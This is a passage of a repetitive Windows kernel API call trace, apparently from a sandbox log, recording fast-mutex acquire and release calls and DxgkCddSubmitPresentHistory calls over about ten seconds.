(FastMutex=0xffffe0000126bf30) [0154.203] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.203] DxgkCddSubmitPresentHistory () returned 0x0 [0154.219] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.219] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.219] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.219] DxgkCddSubmitPresentHistory () returned 0x0 [0154.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.253] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.253] DxgkCddSubmitPresentHistory () returned 0x0 [0154.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.253] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000104e190) [0154.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0154.253] DxgkCddSubmitPresentHistory () returned 0x0 [0154.282] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.282] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.282] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.282] DxgkCddSubmitPresentHistory () returned 0x0 [0154.324] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.324] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0154.324] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0154.324] DxgkCddSubmitPresentHistory () returned 0x0 [0154.324] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.324] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0154.324] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0154.324] DxgkCddSubmitPresentHistory () returned 0x0 [0154.325] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.325] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.325] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.325] DxgkCddSubmitPresentHistory () returned 0x0 [0154.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.367] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.367] DxgkCddSubmitPresentHistory () returned 0x0 [0154.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.414] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.414] DxgkCddSubmitPresentHistory () returned 0x0 [0154.423] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.423] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.423] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.423] DxgkCddSubmitPresentHistory () returned 0x0 [0154.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.462] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.462] DxgkCddSubmitPresentHistory () returned 0x0 [0154.496] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.496] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.496] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.496] DxgkCddSubmitPresentHistory () returned 0x0 [0154.517] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.517] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.517] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.517] DxgkCddSubmitPresentHistory () returned 0x0 [0154.549] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.549] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.549] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.549] DxgkCddSubmitPresentHistory () returned 0x0 [0154.573] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.573] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.573] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.573] DxgkCddSubmitPresentHistory () returned 0x0 [0154.609] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.609] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.610] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.610] DxgkCddSubmitPresentHistory () returned 0x0 [0154.625] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.625] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.626] DxgkCddSubmitPresentHistory () returned 0x0 [0154.681] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.681] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.681] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.681] DxgkCddSubmitPresentHistory () returned 0x0 [0154.703] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.703] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.703] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.703] DxgkCddSubmitPresentHistory () returned 0x0 [0154.718] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.718] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.718] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.718] DxgkCddSubmitPresentHistory () returned 0x0 [0154.750] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.750] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.750] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.751] DxgkCddSubmitPresentHistory () returned 0x0 [0154.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.782] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.782] DxgkCddSubmitPresentHistory () returned 0x0 [0154.814] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.814] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.814] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.814] DxgkCddSubmitPresentHistory () returned 0x0 [0155.945] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.945] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0155.945] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0155.945] DxgkCddSubmitPresentHistory () returned 0x0 [0155.945] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.945] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0155.945] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0155.945] DxgkCddSubmitPresentHistory () returned 0x0 [0155.946] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.946] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0155.946] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.946] DxgkCddSubmitPresentHistory () returned 0x0 [0155.964] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.964] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0155.964] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.964] DxgkCddSubmitPresentHistory () returned 0x0 [0155.980] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.980] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0155.980] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.980] DxgkCddSubmitPresentHistory () returned 0x0 [0155.980] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.980] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0155.980] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0155.980] DxgkCddSubmitPresentHistory () returned 0x0 [0156.014] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.014] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0156.014] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0156.014] DxgkCddSubmitPresentHistory () returned 0x0 [0156.030] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.030] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0156.030] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0156.030] DxgkCddSubmitPresentHistory () returned 0x0 [0156.030] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.030] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0156.030] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0156.030] DxgkCddSubmitPresentHistory () returned 0x0 [0156.052] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.052] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0156.052] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0156.052] DxgkCddSubmitPresentHistory () returned 0x0 [0156.053] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.053] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0156.053] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0156.053] DxgkCddSubmitPresentHistory () returned 0x0 [0156.068] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.069] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0156.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0156.069] DxgkCddSubmitPresentHistory () returned 0x0 [0156.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.100] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0156.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0156.100] DxgkCddSubmitPresentHistory () returned 0x0 [0156.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.101] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0156.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0156.101] DxgkCddSubmitPresentHistory () returned 0x0 [0156.142] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.142] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0156.142] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0156.142] DxgkCddSubmitPresentHistory () returned 0x0 [0159.798] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.798] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0159.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0159.942] DxgkCddSubmitPresentHistory () returned 0x0 [0159.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.943] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0159.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0159.943] DxgkCddSubmitPresentHistory () returned 0x0 [0159.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.971] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0159.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0159.971] DxgkCddSubmitPresentHistory () returned 0x0 [0159.977] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.977] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000156dfc0) [0159.977] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0159.977] DxgkCddSubmitPresentHistory () returned 0x0 [0160.155] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.155] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000156dfc0) [0160.155] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0160.155] DxgkCddSubmitPresentHistory () returned 0x0 [0160.156] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.156] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0160.156] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.156] DxgkCddSubmitPresentHistory () returned 0x0 [0160.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.210] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0160.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0160.210] DxgkCddSubmitPresentHistory () returned 0x0 [0160.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.210] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0160.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.210] DxgkCddSubmitPresentHistory () returned 0x0 [0160.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.210] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000156dfc0) [0160.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0160.210] DxgkCddSubmitPresentHistory () returned 0x0 [0160.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.254] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0160.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.254] DxgkCddSubmitPresentHistory () returned 0x0 [0160.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.268] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000156dfc0) [0160.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0160.268] DxgkCddSubmitPresentHistory () returned 0x0 [0160.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.268] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0160.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0160.268] DxgkCddSubmitPresentHistory () returned 0x0 [0160.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.268] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0160.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.268] DxgkCddSubmitPresentHistory () returned 0x0 [0160.302] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.302] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0160.302] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.302] DxgkCddSubmitPresentHistory () returned 0x0 [0160.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.316] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0160.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.316] DxgkCddSubmitPresentHistory () returned 0x0 [0160.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.331] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000156dfc0) [0160.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0160.331] DxgkCddSubmitPresentHistory () returned 0x0 [0160.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.331] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0160.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0160.332] DxgkCddSubmitPresentHistory () returned 0x0 [0160.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.332] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0160.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.332] DxgkCddSubmitPresentHistory () returned 0x0 [0160.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.368] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0160.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.368] DxgkCddSubmitPresentHistory () returned 0x0 [0160.399] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.399] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000156dfc0) [0160.399] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0160.399] DxgkCddSubmitPresentHistory () returned 0x0 [0160.400] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.400] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0160.400] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0160.400] DxgkCddSubmitPresentHistory () returned 0x0 [0160.401] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.401] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0160.401] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.401] DxgkCddSubmitPresentHistory () returned 0x0 [0160.431] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.431] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0160.431] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.431] DxgkCddSubmitPresentHistory () returned 0x0 [0160.440] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.440] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0160.440] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.440] DxgkCddSubmitPresentHistory () returned 0x0 [0160.559] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.559] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0160.559] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.559] DxgkCddSubmitPresentHistory () returned 0x0 [0160.560] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.560] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000156dfc0) [0160.560] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0160.560] DxgkCddSubmitPresentHistory () returned 0x0 [0160.560] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.560] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0160.560] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0160.560] DxgkCddSubmitPresentHistory () returned 0x0 [0160.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.581] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0160.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0160.581] DxgkCddSubmitPresentHistory () returned 0x0 [0160.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.581] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0160.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.581] DxgkCddSubmitPresentHistory () returned 0x0 [0162.013] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.013] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0162.013] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0162.014] DxgkCddSubmitPresentHistory () returned 0x0 [0162.014] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.014] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0162.014] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0162.014] DxgkCddSubmitPresentHistory () returned 0x0 [0162.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.101] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0162.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0162.101] DxgkCddSubmitPresentHistory () returned 0x0 [0162.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.102] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0162.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0162.102] DxgkCddSubmitPresentHistory () returned 0x0 [0162.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.102] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0162.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0162.102] DxgkCddSubmitPresentHistory () returned 0x0 [0162.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.130] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0162.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0162.130] DxgkCddSubmitPresentHistory () returned 0x0 [0162.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.130] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0162.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0162.130] DxgkCddSubmitPresentHistory () returned 0x0 [0162.177] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.177] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0162.177] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0162.177] DxgkCddSubmitPresentHistory () returned 0x0 [0162.208] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.208] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0162.208] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0162.208] DxgkCddSubmitPresentHistory () returned 0x0 [0162.208] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.208] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0162.208] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0162.208] DxgkCddSubmitPresentHistory () returned 0x0 [0163.898] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0163.898] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0163.899] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0163.899] DxgkCddSubmitPresentHistory () returned 0x0 [0164.002] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) 